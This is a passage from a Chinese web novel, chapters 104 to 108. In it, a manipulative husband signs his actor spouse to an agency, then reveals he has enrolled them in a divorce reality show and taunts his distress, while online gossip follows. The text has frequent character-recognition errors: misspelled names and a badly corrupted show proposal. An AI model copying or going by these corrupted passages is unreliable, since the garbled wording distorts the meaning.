霸道,不讲理。坏男人。谢景和瞪着他,心里骂了一百句,开口却是酸溜溜的一句质问。“你在她面前也是这种样子吗?"时蔺川笑着问:“什么样子?"谢景和两手放在膝上,攥成拳,刚才时蔺川掐得狠了,他的下颌处还留着好几个红形形的指头印,莫名有种战损的感感,他沉默几秒,说:“人渣样。时蔺川被骂了也不生气,仍旧保持着很得体的微笑,心底暗忖着 怎么可能。 裴悦是他的下属,还是一位主观能力强、并十分懂得察言观色的得力下属。 自己又不是疯了,找她的麻烦干什么? 顶多冷淡放置罢了。 又不是每一个人都像谢景和这么讨厌。 时蔺川仔细品味了一下,发觉对面那人的语气像是吞了一粒酸枣,忍不住笑了声,反问道:"你前几天不是从背后抱着我,一边哭,一边对我说“还是觉得你很好”吗?现在又觉得我是人渣了? 他摇摇头,慢条斯理道:“谢景和,你也太善变了吧。 H#老实说,谢景和也觉得自己挺有病的。他跟时蔺川之间的问题,实际上并不涉及第三方但他没办法不在意时蔺川跟裴悦之间的联系,他不是天生的同性恋者,在遇到时蔺川之前,还幻想过跟某位女性结婚生子,共同组建一个温馨幸福的家庭。 可他就是遇到时蔺川了。 然后啪的一下,弯了。 他知道,时蔺川也并非天生爱慕男人 最重要的是.……. 丈夫在自己面前隐藏了三年的残酷一面,办或者说,真实一面——却毫无遮掩地展露在另一个女人面前,不管这一面是好是坏,自己能否接受,谢景和还是忍不住对此感到嫉妒。 嫉妒是一条会咬人的毒蛇,总在人不经意的时候亮出獠牙,尖牙一旦刺穿心脏,毒素便顺着心跳脉搏扩散到身体的每一个角落 这种剧毒没有解药,只能被爱人的手扶平。谢景和深吸了一口气,努力保持着清醒。口i人,时间还很早。穿窗而来的光线愈发明亮.谢景和大概不知道自己现在看起来有多可怜,活像是无辜被踢了一脚的小狗。而时蔺川就是那个路过踢小狗的坏人他将谢景和衔咬下唇的细微动作看得一清二楚,想到之后还要谈合同和综艺的事情,随口道了声“我为什么要在下属面前表现自己人渣的一面?" 谢景和:“.” 明明每个字都是中国话,组成句子却格外费脑。 迎着他的视线,时蔺川很快补充了一句, “我也没有转移话题。” 随后,又补充一句, "当然了,你别指望抱着我哭一哭,我就变回原来的样子。隔了几秒。谢景和低头扣手,轻声道:“我知道,所以从那天早晨之后…”“我就没有哭了。”言外之意:他没指望时蔺川变回从前的温柔模样。 时蔺川:“ 秒,两秒 整整三分钟过去了。沉默灌满了整间办公室,时蔺川瞪着谢景和头顶那粒小小的发旋,突然觉得有点口渴,顺势端起桌上已经冷掉的咖啡啜了一口。就在这时,谢景和正好抬起了脑袋。两人又开始互相大眼瞪小眼。谢景和瞥了眼他手上的咖啡杯,又扫了眼他冷似冰山的脸,突然开口道:“你喝的是我那杯。"时蔺川还没反应过来,想也不想地杠了一句, "你不是不介意我的口水吗?骗人的?"谢景和:“………是不介意,但我刚才把烟头扔进去了。闻言,时蔺川垂下眸,冷不丁瞥见漂浮在深色咖啡液表面的烟蒂,表情顿时像吞了苍蝇一样,还不忘又踹一脚路边的可怜小狗。“谢景和,你这臭毛病从哪里沾来的?恶心死了。"咣的一声。 他将咖啡杯重重放回桌面。 捕捉到了某个词语,谢景和瞅着男人的臭脸,冷不丁问道: “那你刚才说对我腻了,是骗人的吗? 就在几分钟前,他们俩儿还一个掐着下巴,另一个揪着领子,争锋相对得像是快要打起来,空气里弥散着浓重的火药味 不知道怎么的,争吵内容居然演变成了这番模样。 说不出的幼稚。 一思来想去,都怪谢景和。 时蔺川不忘初心地挥舞耙子,一把扔到了对方的脑袋上。 他站直身,重新坐到属于自己的老板椅上,好整以暇地端起属于自己的那杯黑咖啡喝了一口,冲掉嘴巴里那股双倍糖的甜腻、以及香烟的焦苦味,最后才慢悠悠地道了声, “你猜?" 谢景和看着对面的男人,仿佛看着一道复杂的数学题,摆在他面前的答案不止ABCD,而是各种天文数字的排列组合。 那个人故意把自己的心藏在最深处,不肯让人猜到。 而丢出难题的男人放下仅剩一半液体的咖啡杯,摸起桌上的钢笔夹在指间转了几圈,另一只手肘支在椅侧的扶手上,手背撑着脸。 姿态傲慢极了。 当时蔺川看够了对面那人暗自苦恼的表情,正要从抽屉里翻出早就准备好的文件时,却见谢景和猛地站起身来,两三步就绕过了办公桌,一屁股坐进自己怀里,同时两条胳膊环上来。 那两瓣温热的唇也急不可耐地送了上来。 105、Chapter 105 ... 时蔺川从来不缺被求欢的经历。在穿到这个书中世界之前,他是大众眼中的人生赢家,曾被戏称为(投胎技能满点的幸运儿],家世显赫到拥有一定国民度,光是家庭成员的八卦就养活了不少娱乐小报以结婚的方式成为时家一员,被不少人视为实现阶级跨越的一种快捷方式。而时蔺川, 就是那条最快捷的路。因此在他刚进入青春期,还没年满十八周岁的时候,就在不同场合遇到过投怀送抱的各色男女。 或大胆诱惑、或知性优雅、或小鸟依人… 从某种意义上来说,时蔺川也算阅人无数了。 只不过这些人没有在他心里留下半点痕迹,往往是见过就忘,但其中不乏让他印象深刻的特殊个例 十九岁那年。 某位该被他称之为''表嫂’的年轻女性,曾趁他醉酒之际,对他热烈地表示过好感。 对此,时蔺川只庆幸自己有个好习惯。 他从来不会让自己真正喝醉。 青天白日,临近晌午。在这间宽阔到显得有些空旷的办公室里,时蔺川敛眸凝视着谢景和坐在自己大腿上,磕磕绊绊地低头拆解腰间的皮带,忍不住心想这真是他遭遇过的,最拙劣的一次求欢了,这个人明明是出道伊始就拿下了影帝奖项,此后奖项不断的青年演员,此时却连情话都说得艰涩幼稚,让人兴致全无。比起欢爱本身,他似乎想要通过肢体交缠来证明另一件事情, 例如,自己刚才随口说的那句对你腻了在时蔺川看来,谢景和是个很缺爱的人,他在不记事的年纪就被遗弃在福利院门口,那种地方能保障被遗弃儿童最基础的生活需求,却满足不了精神上的渴求后来谢景和又在极其青涩的少年时期一脚踏入了娱乐圈,在这种大染缸般的名利场,他独善其身已是不易,更别说找到一份同样真挚单纯的感情。 俗话说得好,人都是越没有什么,就越是渴求什么。谢景和对家庭、婚姻、以及爱情有着太多太多的想象与期待,而这三者全都被他寄托在了时蔺川一个人身上换句话说,时蔺川就是他对这三者的全部憧憬. 而在前三年的大夫生活中,时菌川确实满足了对方关于爱与被爱的全部懂憬,因此在自己骤然澌破伪装,甚至刻意说难听话来刺伤谢景和的时候,他只在最初那个夜晚做出了顺从本心的反抗。面对丈夫的恶言与暖昧揣测, 他愤怒到动了手,却哭着跑回来道歉他也说过要跟时蔺川分开,还信誓旦旦地表明要将腿间不属于自己的名字清除掉可他现在居然大咧咧地坐进了混蛋丈夫的怀中,还将那妆强行施加在自己身上的纹身作为求欢信号,仿佛只要能证明男人对自己欲望尚存,就能同理论证,他拥有过的爱”仍旧存在。所有的所有,只表露了一个信号。他不想放开时蔺川的手。 思及此处,时蔺川的额角不自觉抽跳了几下。 他在想, 谢景和是不是哪里有毛病? 难不成这人的祖籍是斯德哥尔摩吗? 他还在想, 裴悦从哪里买的廉价咖啡豆?煮出来的咖啡难喝得要命,除了泛苦就是发酸,喝得人胃和心脏都不舒服了, 真想吐。 就在这时候,时蔺川听到嘶啦一声。 就见怀中之人终于解开了皮带,由于跨坐的姿势,他身上那条版型宽松的西裤变得紧绷,勒着大腿,勾勒出布料底下的形状。 浑圆又不失力量的线条看上去很惑人。 谢景和蜷着手指,将自己的西裤拉链一把扯到了底,露出一小截劲瘦的腰腹,再底下是内裤的边角。 黑色的。 他全程低着头,手指犹豫了两秒,又探向时蔺川。在谢景和的下一步行动之前,时蔺川抢先扣住了他的手腕,异常冷静地拒绝道:“可以了,今天你过来不是为了谈正事的吗?谢景和仍旧垂着脑袋,只说:“你有感觉了。” 他的语气听起来有些执拗。 时蔺川只好牵着他的腕子,让他的手掌碰到自己,同时道:“已经没了。 话音刚落。 他忙不迭地扯开谢景和的手".…你往哪里摸啊,撒开。两人此时的姿势和动作挺滑稽的。时蔺川老神在在地坐在椅子上,谢景和坐在他身上,脑袋低垂,两只手被他分别扣住,修长的手指还不安分地往他裤腰带上摸。说不听了还。时蔺川忍不住用力颠了两下腿,颠得身上的人跟着晃了晃,然后对他发出严厉警告,“谢景和,你一个公众人物,还在别人办公室要流氓?合适吗?谢景和显然不服气,两只手被控制住,又急吼吼地吻了上来,一个劲儿地舔咬着他的嘴唇、下颌、喉结、以及耳垂.他仰着长颈,双眼紧闭,眼尾还残余着一丝丝盈润,不明显。不过他跟时川离得实在太近了,什么都藏不住。不安颤抖的长睫藏不住;紊乱失控的呼吸藏不住;轻轻抽鼻子的气音当然也藏不住了。为了推动接下来的剧情发展和任务进度,时蔺川觉得自己有必要让身上这个人安静老实下来,免得话没说完就情绪失控,到时候抽屉里的合同不是白准备了吗? 时蔺川思量片刻,采取了一个最方便快捷的方案。 他将谢景和的两只手拉高,对方便自然而然地勾住了自己的脖子,随后时蔺川径直站起身,单手托着人,另一手将两个咖啡杯移到桌子边缘 这张办公桌格外大,放一个成年男人绰绰有余。 得到回应后,谢景和显然激动得不行,四肢愈发用力地锁上来,温热的额头拱着他的颈侧,唇舌更是一下下地吮着他喉结周边的部位,发出一连串嘬嘬的湿润声响, 时蔺川想把他放到桌上,但这个人跟粘糕一样,撕都撕不下来. 好烦。 没办法。 时蔺川只好偏过脑袋,很费劲地找到他耳朵的位置,轻轻吻了一下。这像是一个信号。谢景和仿佛脑袋上安装了雷达,第一时间就接收到了信号,当即把脸扭了过来,然后主动将双唇分开一条细缝不安的舌尖抵着下唇,看上去居然有点怯生生的。他还是闭着眼。时蔺川垂眸盯着人,不出一秒,改变了原来的打算。这块粘糕的粘性太强了,压根不用自己双手托着。他伸出空闲的手,施施然地端起了桌边的咖啡杯-一是他自己的那杯黑咖啡,如今只剩下一层薄薄的底了,一小口就能喝完。 “嘴巴张开点。" 他的唇挨着谢景和的耳根,轻声道。 然后时蔺川眼疾手快地将杯里仅剩的液体倒进了那张半启的唇里谢景和喝不惯咖啡。如果一定要喝,也要加入过量的糖才能下咽。猝不及防被灌了满嘴苦味,他下意识地睁开双眼,正好迎上男人瞥过来的视线,以及那双被自己啃得不成样子的唇 个恍神。 时蔺川成功将粘糕撕了下来,还顺手将那条敞开的拉链拉上了。 指下嘶啦一声,干净利索。 谢景和坐在桌边,低头看了看白己被复原的裤腰,又抬头看了看男人冷峻的面容,心情异常复杂。 有点难过,但也不是太难过, 有点失落,但也不是太失落; 有点开心,嗯虽然没能跟男人做,但不知道为什么,他确实有点开心。这感觉像是喝了一口柠檬味的波子汽水,又酸又甜,还有点涨. 而在看到男人递过来的那份文件之后长在谢景和心底的“有点开心’仿佛被人打了生长激素,噌的一下,蜜得比天还高,变成了''非常开心’。 原因无他。 这是一份条件很优渥的经纪合约,艺人的白由度高,公司对其管束力却很低,并且资源与红利明显向艺人倾斜。 时限不长不短,五年。 被原来的经纪公司坑了之后,谢景和一度气到狂翻相关法律书籍,对这个领域的法律条款有了一定程度的了解。 他看完一遍,又翻回第一页,逐字逐句地看了第二遍。 良久。 谢景和合上文件,回头警了一眼站在窗前眺望远方的男人。 正午了。 阳光肆无忌惮地晒下来。 时蔺川的站姿有种说不出的好看。 谢景和很惭愧。 因为他在脑子里转了一圈,实在是只能想到“好看’这两个贫瘠的字眼。 可再也没有其他更贴合的形容词能形容男人在他眼中的模样了。 时蔺川站在明媚的光里,脸侧的眼镜链微微晃动,反射着烂漫的午时日光,闪烁不停。他的眉日很冷峭,像是融不化的坚冰 让人很想舔一口。 悉悉索素的翻页声停了。 下一瞬。 时蔺川突然感受到一道熟悉的、格外炙热的眼神,温度比阳光还要烫,刺得他皮肤又痛又痒,心烦得要命。 这感觉实在让人讨厌。 他忍了忍,没忍住,只好偏过脸,视线跟那个坐在老板椅上的男人相撞,恶声恶气地警告了一句 “看什么?" 谢景和不好意思地收回视线,扣了扣文件的页脚,半响才应声道 “大爷,你对我真好。” 106、Chapter 106 .. 中午,十一点四十五分。 一则词条飞速地爬上了微博热搜榜。 #NO1幕后老板谢景和# 该词条起源于一位名为卫坚的娱乐记者。半个小时前,此人突然发了一条图文微博,文字部分很简洁,只一句话,但配了三张图。【M]卫坚:NO1老板现身公司总部了,疑似亲自签约谢景和,不知道馥光老板今晚还睡不睡得着[图1][图2][图3]】第一张图是谢景和与馥光不合的过往热搜截图,第二张图则是一张大全景实拍图:男人从银灰色的车后座走下来,身形领长,侧影弧度很好看,明眼人一看就能认出来。是谢景和。而照片的远景是一栋高大的建筑,墙上巨大的公司Logo格外瞩目, 照片边角处露出了天空的一脚,晴天日朗,光线透亮张照片,将时间地点人物交代得清清楚楚,最后一张配图是卫坚跟某个人的微信聊天界面截图,聊天气泡上方显示着时间,就是他发微博的前几分钟。【卫坚:悦姐,听说你老板亲自来公司了?[好奇Л】隔了五六分钟。 对面的人回复道:【对呀,来视察工作,顺便出面谈个业务[微笑Л】这条图文微博一发出来,各大小娱乐圈营销号纷纷相继转发,还写了好几篇分析小作文,引得各路粉丝纷纷下场讨论,热度一路飙升。其中,谢景和的粉丝讨论声最多。 “谢粉啪一下就点进来了!奔走相告,喜大普奔!“喜大普奔+1,终于要摆脱坑爹的馥光娱乐了吗?虽然合约年限快到了,但是馥光的操作真是太恶心了,不打官司不解气!"明明整个公司都是谢哥奶活的,吃相还这么难看.,鬼都知道你们要捧新人了,但能不能别把谢哥当成血包?我直接一个白眼翻到后脑勺。"“理智点,还不知道是不是真的,观望一下。 “有一说一,NO1比馥光这个小作坊好多了,势头很猛啊,而且有裴悦这个金字招牌在,她手里资源大饼超级多,事业粉度诚发愿,一定要是真的啊!![双手合十jpg] “NO1的法务团队也很强” 除此之外,还有cp粉、路人粉、对家等等。 “Emmm没人讨论-下这位幕后老板吗? “路过,吃一口CP。 “娱乐圈魅魔名不虚传,就这么一会儿,又多了个CP超话。 然而,谢景和本人对此一无所知。 他今天来NO1这一趟的目的很明确,是为了谈正事。 所以在进入总裁办公室之前,谢景和提前将自己的手机调整成了静音模式,只是他怎么也没想到,自己一推开办公室门 就见到了自己正处于''失业’状态的丈夫。 在这一段不算长的时间里,两人吵了架、红了眼、啵了嘴、还险些擦枪走火,最后却峰回路转地拐回了正事上头- 谈合同。 期间,两人谁也没掏出手机,哪怕看一眼。 谢景和光顾着偷看人了。他觉得有句老话说得有几分道理:愿意为你花钱的男人不一定爱你,但不愿意为你花钱的男人一定不爱你某种意义上,金钱确实能够承载一定程度的感情。谢景和看着合同上的白纸黑字,心里想的不是这份合同能给自己带来多大的利益和好处。他细细品味着每一个字,忍不住想.…其实时蔺川也不是那么讨厌自己吧?反正他是不会给讨厌的人花一毛钱的。 与之相反,他愿意把自己所有的钱都给时蔺川花。谢景和:“.”他不捉痕迹地咬了咬下唇,努力控制住满脑子蹦跶的念头,然后将自己的视线从纸上移开,悄悄警向站在窗边的那个男人,在被对方发现之前,迅速收回来。 跟做贼一样。 刚才他偷看男人被抓包,还被教训了一句。….明明两人都已经结婚三年了。无论是在有穿衣服,还是没穿衣服的情况下,彼此都已经互看了三年之久。现在才来计较这个,未免也太不讲道理了。三年。这个词刚从脑子里晃过去,谢景和便难以自抑地想到NO1也是在此期间问世的,紧接着,他的思绪好像长了腿,马不停蹄地往某个方向狂奔而去,拦也拦不住,于是,他又抬起那双深邃深情的眼,往窗边警了过去。男人的站姿丝毫未变,颊边的眼镜链却兀自晃着。谢景和回忆着过往一周,到目前为止所发生的事情,他张了张嘴,觉得自己待会儿要说的话有些自恋但老实说,他真的很难不往这方面想。深吸了好几口气,谢景和举起手上的文件,小心翼翼地求证道:“蔺川,你是不是因为我.”然而这句话还没说完,窗边的男人仿佛被什么东西狠狠咬了一口,他猛地扭脸瞪过来,然后用一种能气死人的讥讽语气道“谢景和,你以为你是世界中心吗?全体人类都要围着你转?都大中午了,你还没睡醒?白恋也要有个限度!谢景和:空气安静了几秒钟。 谢景和再度深吸一口气,慢声道:“你先别急,我没有说全体人类,我是说你” 男人当即冷笑一声,打断道:“谁急了?” 谢景和:"." 空气安静的时间更长了。 好半晌。 谢景和盯着里漆桌面,正襟危坐,用特别小的音量应了声,“我也不知道,但是现在屋子里有两个人,应该可以先排除掉我吧?"这间办公室很大,足足占据了整层楼三分之一的面积,该有的设施一应俱全,左侧墙面还装有一扇隐形门,门后是一间单独的休息室。然而,不管整个空间有多大,男人的说话声有多小——时蔺川拥有正常人的听力,甚至还比正常人更加敏锐所以谢景和说的每一个字,他都听得一清二楚。不过他很有职业素养,懒得跟这个人计较。时蔺川盯着对方那截微微弯曲的细白颈子,黑着脸问:“看了这么久,看出什么了?要不要请你的律师过来一起看? 谢景和立马摇头:“不用。 时蔺川见缝插针地嘲讽道:“被坑过一次还这么不长记性?” 没等谢景和反应过来,他继续说: “别到时候发现合同有问题,又气得连吃三碗饭,长胖了还要怪别人做的饭太好吃,别人好心监督你减肥还要被抱怨想饿死你,我也不知道谁这么可恶没良心,但先排除我吧。 谢景和: 好记仇,时蔺川是小气鬼。 其实他说的这件事,确实发生过。 最初跟公司撕破脸的时候,他情绪有些低落,忍不住放纵饮食了一段时间,整个人吹气似的长胖了近十斤,结果在某次出镜活动中被拍到丑照。 照片发到网上后,出现了很多嘲讽的声音。 例女口, “酵母精灵不会放过任何一个人,哪怕是影帝。”这是打了针吗?动脸了?” “好油腻,还我白月光少年。碍于艺人身份和之后的工作需求,谢景和洗心革面,认真减肥,但是过了一段放建的日子,再恢复从前的饮食习惯确实有些困难,减肥健身期间,他有时馋得受不了了,就抱着时蔺川委屈哭诉:“我快饿死了,好想吃饭,可以给我吃点米饭吗?"其实他能忍住不吃,却实在忍不住跟丈夫亲昵密语而男人则回抱着他,一边帮他捋顺乱掉的头发,一边亲亲他的额角,温声安慰道:“少吃一点吧,等下我陪你一起夜跑消耗卡路里。 到最后,他没吃米饭,两人也没夜跑。 但他们做了比夜跑更消耗卡路里的事情。 谢景和现在回忆起来,恍然发觉记忆中温柔的面容竟有些模糊了,取而代之的是,面前这张冷得像是结了冰的脸。 印象中的温柔声调也扭曲了。 ….仿佛撒了毒汁一样。 在过往数天里,谢景和时常做梦。有一天晚上,他梦到自己面前站着两个时川,一个是他很熟悉的温柔体贴的时藏川,另一个人拥有同样的面孔,气质却载然不同,说话也叫吐逼人,活像是举着刀子往自己心上戳两个时蔺川异口同声地说, "选一个。 这个梦过于光怪陆离了。 谢景和一觉醒来就忘得差不多了,只记得这个匪夷所思的开头。事后他想了半天,实在想不起来梦里的自己究竟做出了怎么样的选择。 可无论自己怎么选 那个温柔的时蔺川都不会回来了。 钢笔在纸页上划过,发出细微的沙沙声, “咔啪。" 笔帽盖合,脆生生的响。 时蔺川踱步走过去,一边确认内容,一边解释道:“等馥光娱乐那边没问题了,正式合同才会生效,到时候裴悦会来带你,还有其他问题吗?"谢景和仰头看了他一眼,沉默摇头,仿佛被太阳晒干了水分的植物,看起来有些蔫蔫的,没什么精气神。 文件一式两份。 确认无误后,时蔺川把属于公司这份合同塞回文件袋中,然后打开原来的那个抽,将其丢了进去. 万过 他没急着关上抽屈此时此刻,两人的站位仍旧是一高一低。谢景和坐在他的椅子上没动弹,他站在谢景和身旁,只是放文件的抽屉不在自己这一侧,所以时菌川需要微微弯下腰,伸长手臂去够,.手臂从椅子上的人身前越过去。大概是三年大大生活里的习惯使然,谢景和没想着退让,时川也没觉得哪里不对劲。两人的距离很近,面颊与面颊之间只塞得下一个拳头。就在时蔺川翻出那档离婚综艺企划案及合同的时候,他忽然感到一朵绵软的云从自己的唇角擦过,稍作停留之后,发出小小的嘬的一声,时蔺川:"…你没完没了了是吧?”那朵云一语双关道: “我饿了。 107、Chapter 107. 说完那句话,谢景和抿着唇,嘴角不自觉地往上翘了翘,仿佛成功偷到鱼的猫,尽管收敛着表情,却仍旧掩不住眸中的窃喜 三年前的夜晚,他也是这样的- 酒店房间的窗开了一条缝,楼下酒吧的闷燥鼓点爬上来,空气似乎也升高了几个温度。他们两个坐在同一侧沙发上,桌子上摆了许多空掉的玻璃杯,杯壁折射着光线,很晃眼。身边人喝醉了,不小心碰倒一杯鸡尾酒。薄荷蓝撒了大半,在杏白的桌面泼出色彩鲜明的区块,时蔺川先是扶稳了人,才掖着袖子用纸巾去擦拭桌上的狼藉。而罪魁祸首似乎还存有一丝神志,知道自己闯了祸,也手忙脚乱地扯着纸巾来帮忙。结果就是越帮越乱 醉鬼的手没什么力气,还抖,估计连杯子一共有几个都数不清,两个人的上身都往前倾着,靠得很近,正当时灌川帮他把被酒水沾湿的袖子捋起来的时候,那人也像今天这般,悄默声儿地靠近,在自己唇角落下轻轻一吻,分离时却发出声响 啾的一声。 这个人好像怎么都学不会安安静静地接吻,以至于时蔺川一度怀疑他嘴巴里藏了个喇叭, 亲一口就响一下。…也记不住教训。时蔺川轻悠悠地警了谢景和一眼,手指已经够到抽屉里最底下的文件,将其取出来后,他顺手合上抽屉,撞出一道木头特有的沉闷音。比起经纪合约,这份包含了节目企划案与艺人合同的文件明显厚重了很多,被一个透明文件夹归拢在一起。第一页是白纸,遮住了底下的内容。时蔺川把它放到桌上,正好摆在谢景和面前。谢景和的视线不由自主地移了过去,很快又收回来,很自然地仰头问着身边已经直起腰的男人,“这又是什么?"男人单手搭在椅背上,闻言,另一只手捏住他的下巴,将他的脸扭回去,淡声道:“你先看。这种略带强制意味的动作在此前三年从未出现过,但在最近一周却屡屡发生,谢景和不太习惯地甩了甩脑袋,没甩开,只低声嘟囔了一句, "我脸上都被你掐出印子了。 其实印子是之前吵的那回留下的。不过时蔺川也没否认什么,他施施然地收回手,故意曲解对方之前说的那句话,催促道:“你不是饿了吗?快点看。只是到时候他还能不能吃得下,就有待商榷了。射景和并不知道男人心中所想。他随手揉了揉自己的下巴,然后原模原样地碰了一下刚才被时蔺川捏住的地方,继而伸出手,毫无防备地揭开了最上层的白纸就像是揭开隐秘的面纱,真实便随之显露。行加粗加大的黑体标题陡然闯入他的眼中【《你为什么不开心》离婚综艺企划书】(项目概述:围绕离婚,展开的真人秀综艺,以全网直播的方式记录三对离婚伴佀的直实相处模式和情感交互,与观众一同探讨婚姻各个阶段可能遇到的难题,体会人生百味。】【节日形式:港清三对有高酒意向、目处于婚烟不同阶段的伴日,预先录制先导片,内容为三对伴目前在民政局办理离增于续的过程,然后开启为期一个月(三十天离酒冷静期)的直播途,展现不同婚的的伴目所面治的面困境,以及冷静期后的最终选择。】【预定参演嘉宾如下:】【日出组】【编剧段非文(男)与摇滚歌手许悠(男),婚龄八个月。】 【午时组】【素人时蔺川(男)与演员谢景和(男),婚龄三年。】【黄昏组】【演员程说行(男)与戏曲家邵琳(女),婚姻十六年。】 【.】 谢景和不知道自己是怎么把这份离婚综艺企划案看完的。他的目光久久地落在那行带有自己与伴侣名字的字符上,久到那几个字看上去都有些陌生了,莫名给人以一种天旋地转的眩惑感良久。 谢景和重新抬起脑袋,茫然若迷地问了句, "这是什么?"他似乎没有看懂,说出来的每一个字里都填满了疑惑,这道疑惑像一座大山,牢牢地压在谢景和的身上,于是,他本能地朝自己唯一能依靠的对象伸出了手,他一把拉住了身边男人垂落的手,并不懈地追问道:“为什么这上面有我和你的名字?"谢景和现在的表情,跟他先前推门进来看到自己时的表情一模一样了。时蔺川敛眸描摹着他此时仓皇的表情,如此想着,然后语气淡然地公布了答案 “当然是因为.…. “我报名了啊。” 谢景和盯着男人,心神恍惚地问道:“什么时候?为什么我什么都不知道? 这可真是个好问题。 时蔺川回望着他,搭在椅背上的那只手忽而使了个力,将椅子旋转了九十度,让坐在椅子上的人面向自己,随后俯身在他用力抿紧的唇间落下一吻。 也是啾的一声。 吻毕,时蔺川并没有直起腰身,反而一边蹭着谢景和的唇,一边轻声低语:“大概是“一开始吧。" 尽管谢景和此前没有录过真人秀,只作为飞行嘉宾参加过几次综艺节目的录制,但他对此类流程还是有所了解的。 明眼人都能看出来 这份企划案的完成度很高,不是短时间内能拿出来的,仿佛已经筹备了许久,马上推进到[开拍]这个最重要的环节了。想到这里,谢景和的唇有些颤。舔掉。他的上齿扣在下唇内侧,咬合的力道很大,咬出了血。铁锈一般的味道从他的唇缝渗透出来,被笼罩在他身前的男人一 没有一点暖昧,全是血腥味, 时蔺川品尝着他的味道,慢条斯理地解释道:“因为那份经纪合约,你好像对我产生了什么误解?或者是产生了什么不该有的期待? “我想…"“你可能需要纠正一下错误观点。说到这里,时蔺川想起了什么似的,刻意停顿了一下,杀人诛心般的反问道:“现在,你还觉得我对你好吗?" 话音刚落。 谢景和憋了一上午的眼泪终于掉出来了。 他靠在椅背里,微微仰着脑袋,脸上失去了所有表情,仿佛连呼吸都停了,唯有两只眼睛啪啪嗒地往外掉眼泪。 粒粒,一颗颗。豆大的眼泪。 泪水飞快擦过他的面颊,留下两道湿痕,最后砸在衬衣领子上,泅出一小片不太明显的异色时蔺川混账得很,还追着问: “能分享一下,你此时的感受吗?"其实他不回答,时蔺川也能用自己的眼睛看明白——谢景和活像是被给了一颗甜枣,结果枣子还没尝到味儿,紧接着又挨了一大棒的可怜小孩而给他甜枣和大棒的,居然还是同一个人。委屈与难受不足以概括他此刻的心情。时蔺川心想要是有人敢这么对自己,他大概杀人的心都有了。捅一刀不够解气,非得剁成十块八块,最好剁成肉泥,然后一麻袋塞进下水道,才能消解自己的心头之恨. 可谢景和不一样。 他跟时蔺川是完全不一样的人。 他是那种会把自己的心挖出来,干干净净地送到别人手里,然后小心翼翼地说着“"你看,我就是这么喜欢你的,你可以珍惜我吗?”,就算那颗心被控到地上,他还会自己检起来,甚至主动给人找理由. “算啦,我知道你不是故意的。 或许谢景和自己也没有意识到. 他真的非常擅长掩耳盗铃。 要知道,哪怕演技再精湛的演员,也没办法长年累月地将自己伪装成另一个人,更何况时蔺川此前并没有接受过表演培训,而谢景和又是演员中的佼佼者 在那些温存的、洒满阳光的日子里,难道他真的从来没有捕捉到一丝丝的异样吗? 就连那个总跟在他身边的女助理,光是跟时蔺川吃过几次饭都隐约察觉到哪里不对劲了。 那么,跟自己同床共枕了三年之久的谢景和呢? 在时蔺川主动撕开面具之前,身为顶流演员的他,当真对伴侣的某些异常毫无所觉吗? 他真的有那么迟钝吗? 时菌川十分存符不知道过了多久,可能是十几秒,也可能是几分钟。谢景和终于开口了。他掀起上眼皮,一双泛着水光的眸子直愣愣地盯着时蔺川,脸上仍旧没什么表情,眼泪还在淌,声音发哑,“你问我什么感想?我现在的感想就是他像是个被逼上绝路的广命徒,墓地拾手揪件身前之人的领口,声嘶力竭地喊道:“时蘭山,你他妈是不是有病啊?骗我还不够,还要来来回回地玩我?好玩吗?你满意了吗?!"他每喊一声,就扯一把时蔺川的领子,把他扯得直打晃。时蔺川忍不住笑出声来。 谢景和表现得越崩溃,他笑得越大声, “满意,我非常满意!” 108、Chapter 108 . 年末岁尾,正是公司加班忙的时候。不知道娱乐圈是不是也冲起了年末KPI,十二月份,微博热搜榜就没一天消停过,每天都有新瓜新料,让人应接不暇。黑黑红红 真真假假。要说其中热度最高的,还要数NO1顺利签约影帝谢景和,以及该公司即将推出的一档离婚综艺关于这两则消息,线上讨论至今未歇。光是影帝谢景和改换门庭这件事就爆过好几个话题 跟馥光娱乐的不和争论暂且不提,这都是去年的老黄历了可就在十一月末尾,先是资深娱记卫坚爆出NO1那位从来不露面的神秘老总主动约见谢景和,然而在热搜刚爬上来的时候,又有狗仔远远拍到谢景和从NO1大楼里走出来照片有些模糊,但隐约能看出 影帝双眼通红,疑似哭过。 左手关节带血,疑似跟人起了肢体冲突。 娱乐圈的笔杆子不容小觑。 这张糊出残影的照片一出现在网络,各大小营销号已经洋洋酒洒编出好几个版本的故事,更有甚者猜测谢景和被提出潜规则要求,他拒不接受才演变成这番境地。 说来说去,结论都是同一个。 签约NO1,没戏。 谢景和的粉丝还没来得及高兴,就被兜头泼了好几忿冷水,不仅对家尖酸嘲笑,就连馥光娱乐的官号也很不小心地手滑”,点赞了一条对自家哥哥唱衰的博文。真是气煞人也。就在这时。另一个粉丝几百万的八卦娱乐号下场,用一连串的缩写代称,“云里雾里’地写了个帖子,单单标题就吸引了一票人的视线《还有人不知道?他不是第一回做这种事了尽管博主叙事时,将故事里的主人公名字做了缩写代称处理,但长了眼睛的人都知道,他说的就是谢景和.总所局知,X出道特别早,出道属了也没刻意#什么贵公子人设,特老实一小孩儿,那时候他不没爷约经纪公司,也没什么人队,某个制片人说要给小孩儿介经经纪公司,实则收了其个大佬的好外费,把人叫过去了。[就是你们想得那样,潜规则。]不过X没接受,那个大佬还不肯放人,非要逼他喝光一整瓶酒,放话说喝不完他今天就出不了这个门,结果X特别烈性,直接用酒瓶给他开了个瓢.….[这件事压得很严实。1[说到底,X当时还是个未成年,犯法的。][很多人都以为X在演完出道作之后沉寂了近一年,没有签约经纪公司是不想彻底踏进这个圈子,其实不然,主要是他得罪了人,没有一个经纪公司敢签他。]好在没过多久,那个大佬因为别的事锒铛入狱了。][F公司就是那时候开始接触X的,顺利把这个涉世未深的金多宝签到手,还一签就是十年。] [F公司的做派,相信X的粉丝都有所了解。] [有一说一,入是具的倒霉到家了。 [.很多年前的事了。都说名利能改变一个人,不过我认为一个人骨子里的东西是不会变的,所以许多黑心营销号捕风捉影,写了许多X背后有金主,潜规则之类的,我都是不信的。 [我想,如果他遇到年少时同样的困境 [一定不会屈服。」 [] 帖子一出,谢景和的粉丝群情激奋,纷纷奔到他的微博底下应援支持,以及声讨不做人的馥光娱乐。至于NO1,在大粉的管理下,绝大部分的粉丝没有贸然下场。消息是真是假还不确定,万一造成什么不良影响就不好了。毕竟NO1的执行总裁不是什么名不见经传的角色,而是在娱乐圈名头很大的前金牌经纪人裴说,口碑得到过数位资深艺人的认可, 果不其然。 十二月中旬,谢景和跟馥光娱乐纠缠许久的官司终于得以了结,转头NO1的官号就发了一则正式声明。 